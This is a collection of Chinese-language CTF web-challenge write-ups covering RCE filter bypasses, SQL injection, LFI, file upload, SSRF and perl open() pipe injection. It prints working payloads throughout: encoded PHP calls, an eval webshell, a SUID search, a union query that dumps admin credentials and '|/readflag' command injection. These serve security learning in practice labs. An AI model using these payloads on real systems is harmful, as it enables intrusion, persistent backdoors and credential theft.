WEB刷题
[FBCTF2019]RCEService
打开环境
看一下原代码
看一下什么是JSON吧
JSON 指的是 JavaScript 对象表示法
这里要使用JSON形式的命令
大体的形式就是{名称:值}
这里也是知道名称是cmd
尝试一下看看
记得名称和值用括号括起来
{"cmd":"ls"}
尝试看一下上级目录
{"cmd":"ls /"}
被过滤了
这里也是尝试了一下没有绕过,能用的都用了下
也是成功的没有找到绕过方法
后面去看了下wp
告诉我有源码。。。。。
说是原本的有,但是靶场没给
这里去找一下源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
这里看一下putenv是什么东西
putenv 函数用来向环境表中 添加或者修改 环境变量。
说明这里里面哪一个path就是这一题的环境变量
看来下好像也每过滤空格啊/也没有被过滤
看来是这一个里面没有这个命令,去linux里面看看
不对,进去才发现,home是我自己的文件
这里看来是要直接使用绝对路径来使用指令
那我可以先看看rceservice这个文件下面有什么
结果骤然发现/被过滤了。。。。
这里是使用preg_math来进行检测并且有这几个符号
'/^.* .*$/'
^.*表示从开头开始匹配
.*$匹配到字符串的末尾
一把情况.默认下不匹配\n
所以只检测第一行
这里使用%0A绕过
{%0A"cmd":"ls /home/rceservice"%0A}
这里要直接在url里面输不然%会被编码
一般实在/bin下
直接狗杂payload
{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
[极客大挑战 2019]RCE ME
打开环境
先分析一下
使用get传参,长度不能超过40不能包含数字字母
这里是一个无数字字母绕过
这里用取反看看
半天不行
emmm,不管怎样都是这个情况
结果发现没有加;
加上看一下
(~%8C%86%8C%8B%9A%92)(~%93%8C);
啥也没有
又试了下其它的
没办法
看眼wp
得先去看phpinfo
那就看一眼
(~%8F%97%8F%96%91%99%90)();
我的天,过滤了这么多东西
system也在里面
这里看wp试要使用一句话木马
我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。
我们需要使用assert来构造
assert (eval($_POST[1]))
(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
然后使用蚁剑连接
进去看看
有一个flag
是空的
还有一个readflag
开头是ELF
ELF是一种可执行的程序文件
说明着就是一个读取flag的程序文件
这里本来想说直接用这个读取的
但是是空的,没有用
这里再去看了下wp
说是因为disable_function不能直接调用
这里说可以直接借助蚁剑的插件绕过
运行后就OK了
[Dest0g3 520迎新赛]SimpleRCE
打开环境
长的很奇特
过滤了很多东西
懒得一个一个看
直接取反
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
[NewStarCTF 公开赛赛道]So Baby RCE
打开环境
看着就是一个常见的过滤
先看目录
没东西,直接使用cd进入上一级目录然后再看目录
cd$IFS..&&ls
&记得url编码才会解析
接着向上找
cd$IFS..%26%26cd$IFS..%26%26ls
再找
cd$IFS..%26%26cd$IFS..%26%26cd$IFS..%26%26ls
直接去cat flag
这里使用到一个新东西
之前没有见过
$@这个输出为空
cd$IFS..%26%26cd$IFS..%26%26cd$IFS..%26%26ls%26%26ca$@t%09ffff$@llllaaaaggggg
这里后面不能使用$IFS应该是与$@冲突了
[NewStarCTF 公开赛赛道]So Baby RCE Again
打开环境
这里通过get传参传了一个cmd
这里半天都是回显空白页面
怀疑过shell_exec但是这个函数是讲执行后的命令当作字符串输出
这个命令默认是不输出的但是可以使用echo等命令打印出来
失败就是返回null尝试过绕过
但是没啥用
尝试写个一句话木马进去
因为这个函数是可以执行系统命令的
我们可以直接写一个php文件进去
echo '<?php @eval($_POST[1])?>' > 1.php
可以在这段木马前加几个数字或者字母
之后访问这个文件的时候就可以知道这代码到底执没执行
因为如果执行了
就不会返回这段php代码
直接访问下这个文件
看样子是执行了
这里使用蚁剑连接一下
成功了
进去找flag
看见了
进去看看
这。。。被骗了
手贱看了下下面那个start.sh
因为是红色的
结果发现东西了
这里把FLAG传入那个文件里
这里还修改了权限为700
这里可以看一下700这个权限是什么
第一个数字是root权限
可读可写可执行
但是我们现在是user权限
啥也没有
所有看不了
这里我们需要尝试去修改权限
这里蚁剑自带一个权限的更改
这里尝试改一下看看
发现不行
这里想看看能不能在命令行里修改
还是不允许
这里在问deepseek的时候发现一个东西
感觉这里第二个很靠谱
先去看看什么是SUID/SGID文件
这里的SUID是一个权限
当可执行文件配置有SUID权限的时候,任何人执行文件的时候都是用root这个权限执行
任何可执行文件配置有SGID权限的时候,会以这个文件所属组的权限运行
这里有两个指令来寻找SUID文件和SGID文件
SUID
find / -perm -4000 -type f 2>/dev/null
SGID
find / -perm -2000 -type f 2>/dev/null
这里先在命令行里看下能不能找到SUID文件
还是挺多的
这里这个date是一个命令
另外三个没见过
这里见过date命令
但这个好像是时间的命令
umount命令是卸载文件
su是切换账户的命令
mount是安装文件的命令
不会了,去看下wp
说这里可以使用date命令来读取文件
date -f
这里问deepseek也是告诉我没有date -f这个指令
但是我在菜鸟找到了
emmm也不知道谁对了
AI说这个是BDS系统的,但是菜鸟说是linux系统的
不管了
这个指令是从文件里处理一行内容,应该是报错之后会把该行内容回显出来
所有得到了flag
[SWPUCTF 2021 新生赛]easyrce
打开环境
这里就是简单的传了一个url
正常传参就行
system('ls');
system('ls /');
直接cat
system('cat /flllllaaaaaaggggggg');
[SWPUCTF 2021 新生赛]babyrce
打开环境
这里首先要把cookie里的admin要=1
这里直接拿hackbar改
这里有一个新的php文件
这里就是一个简单的空格绕过
ls$IFS/
直接cat
cat$IFS/flllllaaaaaaggggggg
cookie
打开环境
这里猜测flag实在cookie里面
这里抓包看一下
这里有个cookie.php
进去看看
这俩说要看http的响应
这俩也是看见flag了
simple_php
这题很简单就是弱比较的绕过
但是这俩有个新东西所有写一下
这里不再阐述很简单
这里要注意的是
a传参不能直接a=0
因为在php语言里
0是一个布尔值false
所以这俩要么传入一个字符串0
要么传入字母,因为这里是若比较
a='0'&b=1235a
[Jupyter]notebook-rce
打开环境
这俩可以点击new那里
然后可以新建一个terminal打开终端
这里因为是jupyter的一个漏洞
去网上可以直接找到
要是放给我自己看
给我十年
这里用我的服务器反弹一手shell
他显示没有nc这个命令
使用bash反弹
这题主要是介绍了一下这个漏洞
实际上在我们在jupyter这里创建的命令行直接使用env指令查看环境变量就可以了
[SWPUCTF 2021 新生赛]hardrce
打开环境
首先这里可以观察到
wllm通过get传参
这里过滤的符号没有取反的符号
下面是无字母的RCE
这里可以直接取反进行rce执行
先看目录
(~%8C%86%8C%8B%9A%92)(~%93%8C);
然后看上一级目录
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
然后直接cat就可以了
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
[SWPUCTF 2021 新生赛]finalrce
打开环境
get传参传url
然后把常规的反弹shell的命令都ban掉了
这里使用tee指令
这里再介绍一下tee指令是个什么
它可以将标准输入的内容读取到标准输出设备,比如一个txt文件
这里可以使用tee指令来绕过exec()函数
使用\绕过关键字过滤
构造payload
l\s|tee 1.txt
然后访问1.txt
再看上一级目录
l\s /|tee 2.txt
猜测是第一个,直接cat一下
ca\t /a_here_is_a_f1ag|tee 3.txt
好家伙被骗了
ca\t /flllllaaaaaaggggggg|tee 4.txt
注意一下这里把la过滤了
使用通配符绕过一下
ca\t /flllll?aaaaaggggggg|tee 4.txt
BUU SQL COURSE 1
打开环境
有一个登录的界面
点进去看看
万能密码看看
爆破一手看看
也是没有密码
然后不管怎么尝试都不行
也不知道过没过滤,都是一个回显
实在没办法了去看了下wp
结果这
。。。。。
太阴了
访问一下看看
很难崩啊
看下是不是整数型
1 and 1=1
1 and 1=2
是整数型
查一下字段
1 order by 2
1 order by 3
有2个字段
看下回显
-1 union select 1,2
然后就是爆库了
-1 union select 1,database()
爆表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'
爆字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'
爆字段内容
-1 union select 1,group_concat(username,0x7e,password) from news.admin
这里使用~来隔离方便看
登录一下看看
直接弹出flag
BUU LFI COURSE 1
打开环境
这里就是一个简单的php代码
get传参传了个file
然后这里直接包含了用户指定的文件
先看下phpinfo.php文件
这里是把目录给爆出来了
这里先看下能不能进行RFI
虽然题目是说了LFI
这里被禁止掉了,看来就只能LFI
看下源代码里有没有提示flag藏在哪里
也是没有东西
这phpinfo.php是找不到一点
直接看下根目录在不在
这三级目录里面
直接是找不到phpinfo.php
去看了下wp
你告诉我flag就叫flag。。。。。
直接访问
它是在根目录
/flag
EasyInclude 2024
打开环境
这里就是简单的包含了inc这个参数也就是包含了用户直接输入的文件
看下源代码有没有什么好东西
看来是没有
直接大胆一波盲猜flag在根目录
。。。。。。。。难崩
BUU BRUTE 1
打开环境
这里就是一个登录的界面
也没有其它东西
先随便提交一个看看
直接进行爆破
登录一手
BUU UPLOAD COURSE 1
打开环境
直接上传一下php文件看看怎么个事
这里可以看到我们上传文件后的最后的文件名是图片
所以这里肯定运行不了
看一下源代码有啥东西
也是没有啥东西
但是注意一下这个url
这里应该是文件包含图片🐎
这里直接尝试一下
这里看情况是成功了
直接传参一下看看
成功了
直接cat
BUU BURP COURSE 1
打开环境
这里看来要改一下地址
先抓包看一下
这里来了解一下
本来我一开始想的是XFF
也就是X-Forwarded-X用来标识客户端的原始IP
但是这里不行
这里来详细解释一下X-Real-IP与X-Forwarded-X的区别
X-Real-IP 通常由反向代理直接设置
X-Forwarded-For 记录客户端和所有中间代理的IP链
但是这里是要X-Forwarded-X不行
这里前面加一个IP看看
但还是不行,这里也是不知道为什么
但是可以直接反向代理IP
这里也是看见了密码
直接post请求发送一下
[HITCON 2017]SSRFme
打开环境
看着很复杂的样子
先看眼源代码里面有没有藏东西
大致看了下没有
这里有一个ip然后我们先来解读一下这代码是什么意思
` <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
这里首先是对XFF的一个处理 看是否有多个IP,使用,号分开 取第一个IP为真实IP覆盖掉其他IP然后输出出来
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
创建一个沙盒目录 sandbox/固定字符orange和XFF的IP的MD5值
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));`
这里shell_exec是把里面的东西当作shell的命令来执行
这里来解释一下这个GET拼接在前面是为啥
因为在早期的Unix或者Linux里面,GET是一个命令,用来下载东西
这里去虚拟机里看看,把百度的robots.txt下载下来
这里可以看到这个就是百度的robots.txt文件
这里GET还能用来当作ls命令使用
这里可以看见他把我桌面上的文件给列出来了
还能拿来读取文件内容
$info = pathinfo($_GET["filename"]);
这个就是一个文件处理的函数,他会解析其路径,文件名,后缀名之类的
$dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data);
将文件中的.都替换掉然后创建一个安全目录dirname
然后将下载下来的数据写入目录
这里去看看沙盒里面有什么
ip是显示出来的那个
这里把我们看到的根目录放到沙盒里去
命名为1
?url=/&filename=1
再去访问
sandbox/50d5f583d8a911dde39156ba3f03c3d5/1
看见一个flag
看一下
?url=/flag&filename=2
emmmm直接没有
看下readflag
?url=/readflag&filename=3
下载下来一个文件打开看看
可以看见是一个ELF文件,说明要通过这个文件来得到flag
这里来说一下原因
ELF主要是用来存储可执行程序
比如ls命令对应那个课执行程序就是一个二进制ELF文件
这里就是要去执行这个文件
这里来了解一下GET命令的底层原理
他的底层原理是perl的open
在open函数中存在命令执行,这个本来应该在上面读取文件的时候就应该说的
但是本人比较懒,之前没说,现在说一下
首先先来解释一下perl
这个是一种编程语言
open(F,"id|"); print <F>; //vi test.pl uid=0(root) gid=0(root) groups=0(root) //perl test.pl
第一行就是open函数执行命令然后输出
这里之后又两种方法
ssrf写入木马
注意函数file_put_contents()
这里可以使用data伪协议来进行写马的操作
?url=data:text/plain,'<?php @eval($_POST['1'])?>'&filename=1.php
这里直接使用蚁剑连接
然后运行就可以了
perl语言漏洞
当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。
这里就可以构造了
使用bash来运行ELF文件
先创建文件
?url=&filename=|/readflag
最后再执行就可以了
?url=file:|/readflag&filename=test
但是发现没有
这里也是疑惑为什么使用file:来运行ELF文件
这里就在kali上编译一个ELF
先写一个C语言的小代码,当然我是不会网上找的
#include <stdio.h> int main() { printf("Hello, World!"); return 0; }
kali里面自带GCC编译器
先编译成目标文件
gcc -c mian.c -o main.o
再编译成ELF文件
gcc 路径/main.o -o main
这里使用file来看一下
这里不行
后面又去找了下
发现file是用来防止perl解析错误
如果直接写入|/readflag
perl的open函数会识别为向文件里面写入内容
这里加上fiel:就变成提取冒号后面的内容
然后遇到管道符,直接当作命令运行
这里如果这个ELF文件没有执行的权限,我们可以使用bash来运行
这里尝试一下
?url=&filename=bash -c /readflag
?url=file:|bash -c /readflag&filename=a
也是可以的
[第二章 web进阶]SSRF Training
打开环境
看着很萌的一个界面
点一下那个蓝色的界面
是一大堆代码
点击查看代码
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
点击查看代码
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
[第三章 web进阶]Python里的SSRF
打开环境
测试下url存不存在SSRF
这里应该是可以连接,但是不知道啥情况显示不出来
题目这里有显示,我们先访问一下127.0.0.1看看
被过滤了
使用进制绕过一下看看
这个进制没法绕过
看来是直接把127.0.0.1给ban了
看下其他回环IP行不行
这个可以
直接访问题目告诉我们的路径
?url=http://127.0.0.2:8000/api/internal/secret
baby_web【攻防世界】
打开环境
注意题目
访问index.php
发现302跳转,抓包再发
发现flag被藏起来了
啧
果然是一点静态视力没有
就在包里面
catcat-new【攻防世界】
打开环境
是一堆猫猫的照片
随便点一下,下面那个介绍可以点
然后url就会发生变化
这里猜测是存在一个任意文件读取的漏洞
但是这里怎么读也读不到
这里尝试了一会儿发现什么都读取不出来
。。。。。
这个时候在看wp的时候发现了一个工具可以查看网页结构
关于Wappalyzer的使用和介绍可以看这篇文章
https://blog.csdn.net/qq_34082921/article/details/134050835
但是这里不知道抽什么风用不了
这里还可以换另一个Builtwith
这个也可以
https://builtwith.com/zh/
直接把网址丢进去就可以了
python的网页框架没有多少,也就一个flask和djiango